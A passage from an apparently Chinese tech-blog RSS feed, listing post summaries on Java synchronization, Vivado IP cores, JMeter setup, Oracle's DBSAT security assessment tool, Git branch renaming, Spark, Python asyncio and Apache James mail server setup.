可以保证同一时刻被synchronized修饰的代码块只被一个线程所访问，即对线程建立了同步锁。如果作用于静态方法，则锁的是这个方法所在的类；作用于其它，则锁的是实例出的对象。&#xA;2.1、run方法修改如下 public void run() { while (this.num&amp;gt;0){ synchronized (this){ System.out.println(Thread.currentThread().getName()+&#34;出售了&#34;+this.num+&#34;号票&#34;); num = num -1; } } } 注意，synchronized不要设置在方法上或者循环外边啊，因为设置在循环之外，一窗口获取到同步锁之后，由于循环没有执行完，会一直占据着同步锁，因此票都需要一窗口来卖，可恶，996出现了！</description>
    </item>
    <item>
      <title>vivado中IP核调用方法简介</title>
      <link>https://bchobby.github.io/posts/a9215ea478ce789f134b231630c47148/</link>
      <pubDate>Mon, 26 Jun 2023 15:14:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9215ea478ce789f134b231630c47148/</guid>
      <description>目录&#xA;一、基于Vivado的IP核使用方法&#xA;二、常用IP核调用方法案例&#xA;2.1FIFO IP核&#xA;2.2UART IP核&#xA;2.3 DDR3 IP核&#xA;2.4 PLL IP核&#xA;2.5AXI GPIO IP核&#xA;三、总结&#xA;Vivado是Xilinx公司推出的一款集成化设计环境，可以用于FPGA和SoC的设计和实现。在Vivado中，可以使用IP核来快速实现一些常见的功能模块，例如时钟管理、数字信号处理、图像处理等等。下面将介绍基于Vivado的IP核的使用方法，并给出5个以上的常用IP核调用方法案例以及对应的testbench。&#xA;一、基于Vivado的IP核使用方法 打开Vivado，新建一个工程，选择FPGA或SoC的型号和目标平台。&#xA;在工程中添加IP核，可以选择从Xilinx的IP库中选择一个现成的IP核，也可以自定义设计一个IP核。&#xA;在IP核的配置界面中，根据实际需求进行参数配置，可以选择使用默认值或手动设置参数。&#xA;生成IP核的RTL代码和IP核的包装文件。&#xA;在设计中实例化IP核，根据实际需求对IP核进行连接和配置。&#xA;运行综合、实现和生成比特流文件。&#xA;将比特流文件下载到目标平台中进行验证和测试。&#xA;二、常用IP核调用方法案例 2.1FIFO IP核 FIFO（First-In-First-Out）是一种常见的数据缓存结构，常用于数据的存储和传输。在Vivado中，可以使用FIFO IP核来快速实现FIFO缓存。以下是一个FIFO IP核的调用方法案例：&#xA;// FIFO IP核的实例化和连接 fifo_inst fifo ( .din(din), // 输入数据 .wr_clk(wr_clk), // 写时钟 .wr_en(wr_en), // 写使能 .rd_clk(rd_clk), // 读时钟 .rd_en(rd_en), // 读使能 .dout(dout), // 输出数据 .full(full), // FIFO满标志 .empty(empty) // FIFO空标志 ); // FIFO IP核的测试 initial begin wr_en = 1; wr_clk = 1; rd_en = 0; rd_clk = 1; #10 din = 8&#39;b00001111; #10 din = 8&#39;b00010010; #10 din = 8&#39;b01010101; #10 wr_en = 0; #10 rd_en = 1; #10; while(!</description>
    </item>
    <item>
      <title>caj能转成pdf格式吗？这三个方法建议收藏！</title>
      <link>https://bchobby.github.io/posts/afa024bf21fe39017b360be014952864/</link>
      <pubDate>Mon, 26 Jun 2023 15:01:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afa024bf21fe39017b360be014952864/</guid>
      <description>CAJ是中国学术期刊全文数据库中文件的一种格式，用于使用CAJ全文浏览器进行阅读。虽然CAJ全文浏览器支持多种格式，包括CAJ、NH、KDH和PDF，但由于PDF具有集成度高、安全可靠等众多优点，以及方便查看内容的需求，将CAJ格式转换成PDF格式成为常见操作。那么，我们来详细了解一下CAJ转PDF的具体方法。&#xA;1.使用CAJ阅读器（CAJViewer） 下载安装CAJ阅读器（CAJViewer），打开该软件，在打开的界面里头，点击“文件”，在下拉菜单下找到“打印”。 点击“打印”，在弹出的菜单里头，选取自己安装的打印机，并点“确定”。 打印完成后，自动有弹窗出来提示文件保存的位置和格式，保存类型选择PDF格式即可。&#xA;2.修改文件后缀名 双击打开我的电脑，点击“组织”——“文件夹和搜索选项”——“查看”，找到并取消“隐藏已知文件类型扩展名”勾选，然后选择“应用”； 点击“确定”完成显示文件扩展名的设置，然后把原文件中的后缀名（CAJ）去掉改为自己想要的后缀名（PDF），这时CAJ格式就转为PDF格式了。&#xA;3.使用记灵在线工具 访问记灵在线工具的网站或应用。 找到相应的转换功能，并点击进入。 选择要转换的CAJ文件，上传至记灵在线工具。 在转换选项中，选择将CAJ文件转换为PDF格式。 点击转换按钮，等待转换过程完成。 转换完成后，您可以下载生成的PDF文件到本地设备。&#xA;无论是使用CAJ阅读器（CAJViewer）、修改文件后缀名的方式，还是使用记灵在线工具转换，都可以实现将CAJ格式转换为PDF格式的目标。记灵在线工具的出现为用户提供了另一种便捷的在线转换选择。根据个人喜好和实际需求，选择适合自己的方法进行转换。无论您选择哪种方法，都能轻松完成格式转换，方便您进行内容阅读和管理。</description>
    </item>
    <item>
      <title>jmeter性能测试常见报错问题解决</title>
      <link>https://bchobby.github.io/posts/9d434a090d2e554f0d122a0f731ec68e/</link>
      <pubDate>Mon, 26 Jun 2023 14:56:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d434a090d2e554f0d122a0f731ec68e/</guid>
      <description>启动jmeter.bat，出现报错：Not able to find Java executable or version. Please check your Java installation.&#xA;errorlevel=2&#xA;请按任意键继续. . .&#xA;如图&#xA;问题原因：未正确安装jdk或未把jdk引用到环境变量中去，jmeter是由java语言开发的，需要java环境才可运行&#xA;解决办法：下载jdk:Java Downloads | Oracle&#xA;安装jdk&#xA;步骤1&#xA;步骤2&#xA;安装中&#xA;安装完成后编辑环境变量&#xA;步骤1&#xA;新建变量，变量名输入：JAVA_HOME&#xA;变量值输入：D:\java （这里输入安装jdk的路径），点击确定&#xA;步骤2&#xA;查找CLASSPATH变量，若是有直接编辑，若是没有就需要新建。输入变量值【.;%JAVA_HOME%/lib/dt.jar;%JAVA_HOME%/lib/tools.jar;】（中括号里面的内容就是变量值，复制时注意不要复制中括号。）&#xA;步骤3&#xA;找到Path变量进行编辑，将“%JAVA_HOME%\bin”和“%JAVA_HOME%\jre\bin”加入Path的变量值中&#xA;步骤4：&#xA;最后记得点击确定&#xA;环境配置弄好了，直接去jmeter文件夹里bin目录下双击：ApacheJMeter.jar就可以打开啦！！&#xA;打开如图，注：切换主题可换背景颜色，一般默认背景颜色是黑的&#xA;总结不易，您的点赞是我最好的动力！！！！！</description>
    </item>
    <item>
      <title>Oracle数据库安全评估工具（DBSAT）</title>
      <link>https://bchobby.github.io/posts/980a4bc1059276d71bd6176b0cfb09ce/</link>
      <pubDate>Mon, 26 Jun 2023 11:05:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/980a4bc1059276d71bd6176b0cfb09ce/</guid>
      <description>目录： 工具概述：先决条件：一、支持的操作系统及DB版本：1.支持的操作系统2.支持的数据库版本 二、评估工具的前提条件：1.所需安装包及工具2.Collector的先决条件3.Reporter的先决条件4.Discoverer的先决条件 工具下载：工具使用：1.安装 DBSAT2.创建数据库用户3.运行收集器4.运行报告器5.分析报告 工具概述： Oracle数据库安全评估工具（DBSAT）是一个流行的命令行工具，它可以帮助识别数据库配置、操作或实施引入风险的领域，并建议改变和控制以减少这些风险。DBSAT帮助评估数据库配置的安全程度，确定谁是用户和他们的权利，并确定敏感数据在数据库中的位置。DBSAT可以区分企业内部的Oracle数据库、自主数据库（共享的和专用的）和DBCS。根据数据库的目标类型，DBSAT执行不同的检查，并提供针对目标的注释。&#xA;DBSAT有三个组成部分： 收集器、报告器和发现器。收集器和报告器一起工作，发现风险区域，并就这些风险区域产生报告–数据库安全评估报告。发现器是一个独立的模块，用于定位和报告敏感数据–数据库敏感数据评估报告。&#xA;收集器负责通过执行SQL查询和操作系统命令从目标数据库收集原始数据。&#xA;报告器读取收集到的数据，对其进行分析，并产生带有发现的报告。报告器输出四种报告，分别是：HTML、XLS、JSON和文本格式。&#xA;发现器对数据库字典视图执行SQL查询以发现敏感数据，并以HTML和CSV格式的报告。从12.2.0.8版本开始，Discoverer CSV报告可以加载到Oracle Audit Vault和Database Firewall、以在新的数据隐私报告中添加敏感数据背景。关于此功能的更多信息，请参见将敏感数据导入&#xA;敏感数据导入AVDF库，见《Oracle审计库和数据库防火墙审计员指南》。&#xA;先决条件： 一、支持的操作系统及DB版本： 1.支持的操作系统 数据库配置收集查询可以在大多数支持的Oracle数据库平台上运行。然而，目前在Windows平台上，操作系统数据收集将被跳过&#xA;Oracle DBSAT运行在：&#xA;• Solaris x64 and Solaris SPARC64&#xA;• Linux x86-64&#xA;• Windows x64&#xA;• HP-UX IA (64-bit)&#xA;• IBM AIX (64-bit) &amp;amp; Linux on zSeries (64-bit)&#xA;2.支持的数据库版本 你可以在Oracle数据库11.2.0.4及以后的版本中，在企业内部或云端，在Oracle数据库标准版2和Oracle数据库企业版上运行Oracle DBSAT。&#xA;注意：&#xA;Oracle数据库标准版2从Oracle数据库12c版本1（12.1.0.2）。对于12.1.0.1，Oracle数据库标准一版和Oracle数据库标准版可用。&#xA;参考资料：https://docs.oracle.com/database/121/DBLIC/editions.htm#DBLIC109&#xA;二、评估工具的前提条件： 1.所需安装包及工具 DBSAT需要在Unix/Linux系统上安装bash shell，Zip和UnZip&#xA;Oracle DBSAT使用Zip和Unzip来压缩或解压生成的文件。&#xA;Oracle DBSAT在默认位置搜索Zip和Unzip工具，如下所示。&#xA;下的默认位置。为了使用其他的Zip和Unzip工具，请在相关脚本中更新以下几行。&#xA;相关脚本中的以下几行。&#xA;Windows（dbsat.bat脚本）：&#xA;SET ZIP_CMD=%ORACLE_HOME%\bin\zip.exe SET UNZIP_CMD=%ORACLE_HOME%\bin\unzip.exe 注意：</description>
    </item>
    <item>
      <title>Git重命名远程分支名称并关联本地</title>
      <link>https://bchobby.github.io/posts/368dcb7ffef22bc7f8ce66758b4558f6/</link>
      <pubDate>Mon, 26 Jun 2023 09:44:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/368dcb7ffef22bc7f8ce66758b4558f6/</guid>
      <description> 注意： 当前分支名(本地) 与 远程分支名完全一致下！！！&#xA;注意： 当前分支名(本地) 与 远程分支名完全一致下！！！&#xA;注意： 当前分支名(本地) 与 远程分支名完全一致下！！！&#xA;假设本地与远程分支名都为A，现更换成B，操作如下：&#xA;第一步：&#xA;重命名本地分支： git branch -m B 第二步：&#xA;删除远程分支 git push --delete origin A 第三步：&#xA;推送新命名的本地分支到远程 git push origin B 第四步：&#xA;关联修改后的本地分支与远程分支 git branch --set-upstream-to origin/B </description>
    </item>
    <item>
      <title>比对隔离电源与非隔离电源</title>
      <link>https://bchobby.github.io/posts/97c036349b094cf67e018a0fb3de44af/</link>
      <pubDate>Mon, 26 Jun 2023 00:20:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97c036349b094cf67e018a0fb3de44af/</guid>
      <description>比对隔离电源与非隔离电源 在给嵌入式系统设计电源电路，或选用成品电源模块时，要考虑的重要问题之一就是用隔离还是非隔离的电源方案。在进行讨论之前，我们先了解下隔离与非隔离的概念，及两者的主要特点。&#xA;一、电源隔离与非隔离的概念&#xA;电源的隔离与非隔离，主要是针对开关电源而言，业内比较通用的看法是：&#xA;1、隔离电源：电源的输入回路和输出回路之间没有直接的电气连接，输入和输出之间是绝缘的高阻态，没有电流回路。&#xA;2、非隔离电源：输入和输出之间有直接的电流回路，例如，输入和输出之间是共地的。&#xA;隔离电源示意图如图所示。&#xA;二、隔离电源与非隔离电源的优缺点&#xA;由上述概念可知，对于常用的电源拓扑而言，非隔离电源主要有：Buck、Boost、Buck-Boost等;而隔离电源主要有各种带隔离变压器的反激、正激、半桥、LLC等拓扑。&#xA;结合常用的隔离与非隔离电源，我们从直观上就可得出它们的一些优缺点，两者的优缺点几乎是相反的。&#xA;使用隔离或非隔离的电源，需了解实际项目对电源的需求是怎样的，但在此之前，可了解下隔离和非隔离电源的主要差别：&#xA;1、隔离模块的可靠性高，但成本高，效率差点。&#xA;2、非隔离模块的结构很简单，成本低，效率高，安全性能差。&#xA;因此，在如下几个场合，建议用隔离电源：&#xA;1、涉及可能触电的场合，如从电网取电，转成低压直流的场合，需用隔离的AC-DC电源；&#xA;2、串行通信总线通过RS-232、RS-485和控制器局域网(CAN)等物理网络传送数据，这些相互连接的系统每个都配备有自己的电源，而且各系统之间往往间隔较远，因此，我们通常需要隔离电源进行电气隔离来确保系统的物理安全，且通过隔离切断接地回路，来保护系统免受瞬态高电压冲击，同时减少信号失真；&#xA;3、对外的I/O端口，为保证系统的可靠运行，也建议对I/O端口做电源隔离。&#xA;三、隔离与非隔离电源的应用场合&#xA;通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电选择，我们已可做成准确的判断：&#xA;1、 系统前级的电源，为提高抗干扰性能，保证可靠性，一般用隔离电源。&#xA;2、 电路板内的IC或部分电路供电，从性价比和体积出发，优先选用非隔离的方案。&#xA;3、 对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源，为保证人身的安全，必须用隔离电源，有些场合还必须用加强隔离的电源。&#xA;4、 对于远程工业通信的供电，为有效降低地电势差和导线耦合干扰的影响，一般用隔离电源为每个通信节点单独供电。&#xA;5、 对于采用电池供电，对续航力要求严苛的场合，采用非隔离供电。&#xA;四、抗电强度&#xA;电源的隔离耐压在GB-4943国标中又叫抗电强度，这个GB-4943标准就是我们常说的信息类设备的安全标准，就是为了防止人员受到物理和电气伤害的国家标准，其中包括避免人受到电击伤害、物理伤害、爆炸等伤害。如下图为隔离电源结构图。&#xA;隔离电源结构图&#xA;作为模块电源的重要指标，标准中也规定了隔离耐压相关测试方法，简单的测试时一般采用等电位连接测试，连接示意图如下：&#xA;隔离耐压测试示意图&#xA;测试方法：&#xA;将耐压计的电压设为规定的耐压值，电流设为规定的漏电流值，时间设为规定的测试时间值；&#xA;操作耐压计开始测试，开始加压，在规定的测试时间内，模块应无击穿，无飞弧现象。&#xA;注意在测试时焊接电源模块要选取合适的温度，避免反复焊接，损坏电源模块。&#xA;买电子元器件现货上唯样商城&#xA;五、那么隔离电源与非隔离电源比较有什么的优缺点呢?&#xA;隔离电源与非隔离电源优缺点&#xA;通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电选择，我们可遵循以下判断条件：&#xA;对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源，为保证人身的安全，必须用隔离电源，有些场合还必须用加强隔离的电源。&#xA;一般场合使用对模块电源隔离电压要求不是很高，但是更高的隔离电压可以保证模块电源具有更小的漏电流，更高的安全性和可靠性，并且EMC特性也更好一些，因此目前业界普遍的隔离电压水平为1500VDC以上。</description>
    </item>
    <item>
      <title>广电用户画像分析之根据用户行为数据进行筛选与标签添加</title>
      <link>https://bchobby.github.io/posts/ce6b47c72e9f83d3dfb9540aa0deace6/</link>
      <pubDate>Sun, 25 Jun 2023 18:30:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce6b47c72e9f83d3dfb9540aa0deace6/</guid>
      <description>在数据处理和分析领域，我们经常需要根据用户的行为数据进行筛选和标签添加，以便更好地理解用户行为和偏好。在本篇博客中，我们将介绍两个示例，展示如何根据用户的收视行为数据和订单信息进行数据处理和分析。&#xA;前情提要： 数据集分析：&#xA;广电用户画像分析之探索各个表中的记录数和字段phone_no的空值数 )&#xA;数据预处理：&#xA;广电用户画像分析之数据基本分析与预处理)&#xA;根据用户收视行为数据中地区和语言偏好筛选数据 完整代码： package code.userprint import org.apache.spark.sql.SparkSession object MediaPrint { def main(args: Array[String]): Unit = { System.setProperty(&#34;HADOOP_USER_NAME&#34;, &#34;root&#34;) val spark = SparkSession.builder().appName(&#34;media&#34;) .master(&#34;local[*]&#34;) .enableHiveSupport() .getOrCreate() // spark.sparkContext.setLogLevel(&#34;WARN&#34;) val media = spark.table(&#34;Processdata.media_index&#34;) import org.apache.spark.sql.functions._ // media.selectExpr(&#34;max(end_time) as max_month&#34;) // .selectExpr(&#34;add_months(max_month,-3) as beforeTime&#34;).show() // 2018-04-30 media.filter(&#34;end_time &amp;gt; &#39;2018-04-30&#39;&#34;) .groupBy(&#34;phone_no&#34;,&#34;audio_lang&#34;).agg(sum(&#34;duration&#34;)/(1000*60*60)/3 as &#34;avgduration&#34;) .filter(&#34;avgduration &amp;gt; 5&#34;).select(&#34;phone_no&#34;,&#34;audio_lang&#34;) .write.mode(&#34;overwrite&#34;).saveAsTable(&#34;userPrint.languagePrint&#34;) media.filter(&#34;end_time &amp;gt; &#39;2018-04-30&#39;&#34;) .groupBy(&#34;phone_no&#34;,&#34;region&#34;).agg(sum(&#34;duration&#34;)/(1000*60*60)/3 as &#34;avgDuration&#34;) .filter(&#34;avgDuration &amp;gt; 5&#34;).select(&#34;phone_no&#34;,&#34;region&#34;) .write.mode(&#34;overwrite&#34;).saveAsTable(&#34;userPrint.regionPrint&#34;) } } 该类的目的是根据用户观看媒体的语言和地区信息，统计其在过去三个月内的平均观看时长，并筛选出观看时长大于5小时的用户，将结果存储在两个不同的Hive表中，分别为languagePrint和regionPrint。</description>
    </item>
    <item>
      <title>西门子变频器G120XA的快速调试方法分享</title>
      <link>https://bchobby.github.io/posts/78eda5415104594474b24abd340e6190/</link>
      <pubDate>Sun, 25 Jun 2023 16:57:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78eda5415104594474b24abd340e6190/</guid>
      <description>以西门子变频器G120XA为例，接着为大家介绍一下G120X和G120XA系列变频器的快速调试方法。&#xA;西门子发布的Sinamics G120X和G120XA系列变频器，专为风机和泵的应用而设计，实现高效节能、可靠稳定和简单易用。以G120XA为例，通过下面的调试流程图，为大家诠释其简单快捷的调试步骤。&#xA;通过上图可以看出，快速调试包含以下几个部分内容：&#xA;1、选择应用级P0096&#xA;P0096=0，专家模式，通过P1300设置电机控制方式&#xA;P0096=1，标准驱动方式，P1300默认设置为V/F控制&#xA;P0096=2，动态驱动模式，P1300默认设置问矢量控制&#xA;2、输入电机数据&#xA;电机标准P0100=0，IEC电机&#xA;设备输入电压P0210&#xA;选择电机类型P0300，1=异步电机，2=同步电机&#xA;电机额定电压P0304&#xA;电机额定电流P0305&#xA;电机额定功率P0307&#xA;电机额定频率P0310&#xA;电机额定转速P0311&#xA;3、选择电机控制方式P1300&#xA;当P0096=0时，需要设置&#xA;4、选择连接宏P0015&#xA;默认设置宏41，实现DI端子起停，模拟量调速&#xA;5、设置最大最小转速、斜坡上升和下降时间&#xA;电机最小转速P1080&#xA;电机最大转速P1082&#xA;斜坡上升时间P1120&#xA;斜坡下降时间P1121&#xA;Off3 停车时间P1135&#xA;6、电机数据检测P1900&#xA;P1900=2 电机静态数据检测&#xA;P1900=3 电机旋转检测（仅适用于矢量控制）&#xA;7、启动变频器，运行电机，执行数据检测&#xA;8、完成快速调试</description>
    </item>
    <item>
      <title>MATLAB数学建模——贝叶斯预测模型</title>
      <link>https://bchobby.github.io/posts/d6a0d366e985dbd68c075eef1db5bd9b/</link>
      <pubDate>Sun, 25 Jun 2023 14:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6a0d366e985dbd68c075eef1db5bd9b/</guid>
      <description>概念 贝叶斯预测模型是一种基于贝叶斯统计理论的预测方法。它利用已有的先验知识和数据，通过贝叶斯定理来更新概率模型，并得出对未来事件或未知量的预测。&#xA;在贝叶斯预测模型中，我们首先定义一个先验概率分布，该分布表示我们对未知量的初始信念。然后，我们通过观察到的数据，利用贝叶斯定理更新先验概率分布，得到后验概率分布。后验概率分布反映了我们对未知量的新信念，考虑了观察到的数据的影响。&#xA;贝叶斯预测模型的关键是利用数据来不断更新我们对未知量的估计。通过结合先验知识和观测数据，我们可以得到更准确的预测结果，并估计出预测结果的不确定性。&#xA;在实际应用中，贝叶斯预测模型可以用于各种领域，包括金融、医疗、天气预测等。它可以处理不确定性和变化的数据，并提供灵活的方法来更新和调整预测模型。&#xA;贝叶斯预测模型的一个常见实现是贝叶斯网络（Bayesian Network）。贝叶斯网络是一种图模型，用于表示变量之间的概率依赖关系，并通过贝叶斯推理来进行预测。它可以有效地处理复杂的不确定性问题，并提供直观的图形表示来理解变量之间的关系。&#xA;总的来说，贝叶斯预测模型是一种强大的预测工具，能够结合先验知识和观测数据，提供准确的预测结果，并考虑不确定性。它在许多实际应用中发挥着重要作用，帮助人们做出明智的决策和规划。&#xA;当谈论贝叶斯预测模型时，有几个重要的概念需要理解。以下是这些概念的解释：&#xA;先验概率（Prior Probability）：先验概率是在考虑任何观测数据之前对未知量的概率分布的估计。它基于以前的知识、经验或主观判断，并在观测数据的影响下进行更新。&#xA;似然函数（Likelihood Function）：似然函数是一个关于参数的函数，给出了在给定参数下观测数据出现的概率。它衡量了参数取值与观测数据的拟合程度。&#xA;后验概率（Posterior Probability）：后验概率是在考虑观测数据后对未知量的概率分布的更新估计。它通过将先验概率与观测数据的似然函数结合起来，应用贝叶斯定理得到。&#xA;贝叶斯定理（Bayes’ Theorem）：贝叶斯定理是一个基于条件概率的数学定理，描述了在给定观测数据的情况下如何更新概率分布。它表达了后验概率与先验概率和似然函数之间的关系。&#xA;先验知识（Prior Knowledge）：先验知识是在进行预测或推断之前已经存在的关于未知量的信息。这些知识可以是基于经验、领域知识、先前研究或专家意见等。&#xA;不确定性（Uncertainty）：贝叶斯预测模型能够处理不确定性。不确定性指的是我们对未知量的预测或估计存在的不确定程度。贝叶斯预测模型可以通过计算概率分布来量化不确定性，并提供关于预测结果的可信度度量。&#xA;这些概念共同构成了贝叶斯预测模型的基础，使其成为一种强大的预测工具，能够结合先验知识和观测数据，提供准确的预测结果，并考虑不确定性。&#xA;应用 以下是一个使用MATLAB实现贝叶斯预测模型的简单例子。这个例子假设你有一组观测数据，你希望通过这些观测数据来预测下一个未知数据点的值。&#xA;% 观测数据 observed_data = [2, 4, 6, 8, 10]; % 先验概率分布的参数 prior_mean = 0; % 先验分布的均值 prior_variance = 1; % 先验分布的方差 % 似然函数的参数 likelihood_mean = 0; % 似然函数的均值 likelihood_variance = 1; % 似然函数的方差 % 计算后验概率分布的参数 posterior_mean = (prior_mean * likelihood_variance + sum(observed_data) * prior_variance) / ... (prior_variance + length(observed_data) * likelihood_variance); posterior_variance = (prior_variance * likelihood_variance) / .</description>
    </item>
    <item>
      <title>[docker]关于在使用mac Version 12.6 Apple M1 Pro下载镜像selenium/standalone-chrome无法使用的问题</title>
      <link>https://bchobby.github.io/posts/9f5793a5d8d1da3e901c6adbdf10a646/</link>
      <pubDate>Sun, 25 Jun 2023 10:46:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f5793a5d8d1da3e901c6adbdf10a646/</guid>
      <description>mac上无法使用selenium/standalone-chrome问题 引言问题描述问题原因解决方案总结 引言 当我们需要使用selenium-grid来实现分布式时,遇到了一个问题,致使我们无法完成这个功能.&#xA;问题描述 记录使用的设备:&#xA;操作系统: macOS&#xA;系统版本: 12.6&#xA;芯片: Apple M1 Pro&#xA;记录时间: 2023年6月25日&#xA;在安装完docker后,拉取镜像selenium/standalone-chrome后,启动镜像&#xA;docker run --rm --cap-add=SYS_ADMIN -p 4444:4444 -p 5900:5900 -e ENABLE_VNC=true selenoid/vnc:chrome_99.0 本地编写代码进行连接测试&#xA;require &#34;rubygems&#34; require &#34;selenium-webdriver&#34; # 本地配置环境 # driver = Selenium::WebDriver.for :chrome # 配置远程连接环境 # options = Selenium::WebDriver::Chrome::Options.new # options.add_argument(&#39;--headless&#39;) # options.add_argument(&#39;--disable-gpu&#39;) # options.add_argument(&#39;--no-sandbox&#39;) # options.add_argument(&#39;--disable-dev-shm-usage&#39;) # driver = Selenium::WebDriver.for :remote, url: &#34;http://127.0.0.1:4444&#34;, desired_capabilities: :chrome driver.navigate.to &#34;https://www.baidu.com/&#34; sleep 3 element = driver.</description>
    </item>
    <item>
      <title>uniapp 前端实现文字识别，身份证识别，营业执照识别 （兼容APP、H5、小程序 不需要任何SDK）</title>
      <link>https://bchobby.github.io/posts/51c28d881ec6592143d6307e36057773/</link>
      <pubDate>Sun, 25 Jun 2023 09:06:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51c28d881ec6592143d6307e36057773/</guid>
      <description>前言 本文将介绍如何使用uniapp和百度AI开放平台的OCR(光学字符识别)API实现身份证、营业执照等卡证的识别和文字识别功能。&#xA;兼容说明 APP小程序H5√√√ 准备工作 1. 注册百度账号 前往百度AI开放平台官网,点击“登录”。使用百度账号登录,如果没有可以先注册百度账号。登录成功后,点击右上角的“开发者服务”-&amp;gt;“API 服务”。 2. 进入开发者平台,创建OCR文字识别应用 在AI能力服务类目中选择“OCR文字识别”,进入文字识别产品的应用页。点击“立即使用”,进入OCR文字识别应用创建页。 3. 获取AppID和AK 输入应用名称,选择应用类型为“公开应用”或“私有应用”,填写验证码后点击“创建应用”。应用创建成功把对应的client_id和client_secret保存好添加到项目里 图片转base64（兼容APP、H5、小程序） 新建一个js文件导出toBase64函数 将图片文件路径转为base64格式&#xA;/** * @description 本地图片转base64方法（兼容APP、H5、小程序） * @param {number} path 图片本地路径 * @returns Promise对象 */ const toBase64 = (path) =&amp;gt; { return new Promise((resolve, reject) =&amp;gt; { // #ifdef APP-PLUS plus.io.resolveLocalFileSystemURL(path, (entry) =&amp;gt; { entry.file((file) =&amp;gt; { let fileReader = new plus.io.FileReader() fileReader.readAsDataURL(file) fileReader.onloadend = (evt) =&amp;gt; { let base64 = evt.target.result.split(&#34;,&#34;)[1] resolve(base64) } }) }) // #endif // #ifdef H5 uni.</description>
    </item>
    <item>
      <title>【八】并发编程之异步编程</title>
      <link>https://bchobby.github.io/posts/41bedbe80499a0062fb7a416ee3889fb/</link>
      <pubDate>Sun, 25 Jun 2023 08:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41bedbe80499a0062fb7a416ee3889fb/</guid>
      <description>【八】并发编程之异步编程 异步编程 基于 async 和 await 关键字的协程可以实现异步编程，这也是目前 Python 异步相关的主流技术。在这里我们主要介绍一下实现异步的模块：asyncio 模块 【一】asyncio 模块 asyncio 模块是 Python 中实现异步的一个模块，该模块在 Python3.4 的时候发布，async 和 await 关键字在 Python3.5 中引入。因此，想要使用asyncio模块，建议 Python 解释器的版本不要低于 Python3.5 。 【二】事件循环 所谓的事件循环，我们可以把它当作是一个 while 循环，这个 while 循环在循环生命周期内运行并执行一些任务，在特定的条件下结束循环。 在编写程序的时候可以通过如下代码来获取和创建事件循环： import asyncio loop = asyncio.get_event_loop() 【三】协程 &amp;amp; 异步编程 首先我们来看一下 协程函数 什么是协程函数呢？直白的讲，定义为如下形式的函数我们可以称之为协程函数，如下代码所示： async def fn(): pass 知道了什么是协程函数 接下来我们再来看一下什么是协程对象所谓的协程对象就是调用协程函数之后返回的对象我们称之为 协程对象，如下代码所示： res = fn() 注意事项：调用协程函数时，函数内部的代码不会执行，只是会返回一个协程对象！&#xA;【1】基本应用 在编写程序的时候，如果想要执行协程函数内部的代码，通过 函数名() 调用函数是不可以的，需要 事件循环 和 协程对象 配合才能实现，如下代码所示： import asyncio async def fn(): print(&#39;协程函数内部的代码&#39;) def main(): # 调用协程函数，返回一个协程对象 res = fn() # 执行协程代码的方式一 # todo：1、创建一个事件循环 # loop = asyncio.</description>
    </item>
    <item>
      <title>Apache James邮件服务器搭建（linux）</title>
      <link>https://bchobby.github.io/posts/9232a3d8684a03547fe2625134da42b9/</link>
      <pubDate>Sat, 24 Jun 2023 16:19:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9232a3d8684a03547fe2625134da42b9/</guid>
      <description>1、配置jdk，此处不再赘述，随便搜一下然后照着操作即可&#xA;注意：后续james的版本是3.5.0，需要与jdk8配套&#xA;2、下载apache james ，apacheJames 下载之后可以直接运行，无需安装&#xA;注意：此处选择3.5.0版本，因为更高版本与jdk8不配套&#xA;Index of /dist/james/server/3.5.0&#xA;​&#xA;2、下载foxmail，用于后续进行测试&#xA;Foxmail for Mac&#xA;​&#xA;3、安装foxmail&#xA;双击前一步下载的foxmail包，傻瓜式下一步安装即可&#xA;搭建ApacheJames邮件服务器 1、修改 mailetcontainer.xml，修改postmaster的值为postmaster@st.com&#xA;注意：下述@st.com为自定义的邮件域名，与@163.com类似&#xA;&amp;lt;context&amp;gt;&#xA;&amp;lt;!-- When the domain part of the postmaster mailAddress is missing, the default domain is appended.&#xA;You can configure it to (for example) &amp;lt;postmaster&amp;gt;postmaster@myDomain.com&amp;lt;/postmaster&amp;gt; --&amp;gt;&#xA;&amp;lt;postmaster&amp;gt;postmaster@st.com&amp;lt;/postmaster&amp;gt;&#xA;&amp;lt;/context&amp;gt;&#xA;2、修改 smtpserver.xml&#xA;将authRequired、verifyIdentity值配置为false&#xA;将helloName配置为st.com。注意与步骤1中保持一致&#xA;&amp;lt;authRequired&amp;gt;true&amp;lt;/authRequired&amp;gt;&#xA;&amp;lt;verifyIdentity&amp;gt;true&amp;lt;/verifyIdentity&amp;gt;&#xA;&amp;lt;helloName autodetect=&#34;true&#34;&amp;gt;st.com&amp;lt;/helloName&amp;gt;&#xA;3、修改 domainlist.xml&#xA;将autodetect、autodetectIP的值配置为false&#xA;将defaultDomain配置为st.com。注意与步骤1中保持一致&#xA;&amp;lt;domainlist class=&#34;org.apache.james.domainlist.jpa.JPADomainList&#34;&amp;gt;&#xA;&amp;lt;autodetect&amp;gt;false&amp;lt;/autodetect&amp;gt;&#xA;&amp;lt;autodetectIP&amp;gt;false&amp;lt;/autodetectIP&amp;gt;&#xA;&amp;lt;defaultDomain&amp;gt;st.com&amp;lt;/defaultDomain&amp;gt;&#xA;&amp;lt;/domainlist&amp;gt;&#xA;4、启动james</description>
    </item>
    <item>
      <title>Apache James邮件服务器搭建（windows）</title>
      <link>https://bchobby.github.io/posts/60a24d3281219b8c82787d264c976daf/</link>
      <pubDate>Sat, 24 Jun 2023 16:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60a24d3281219b8c82787d264c976daf/</guid>
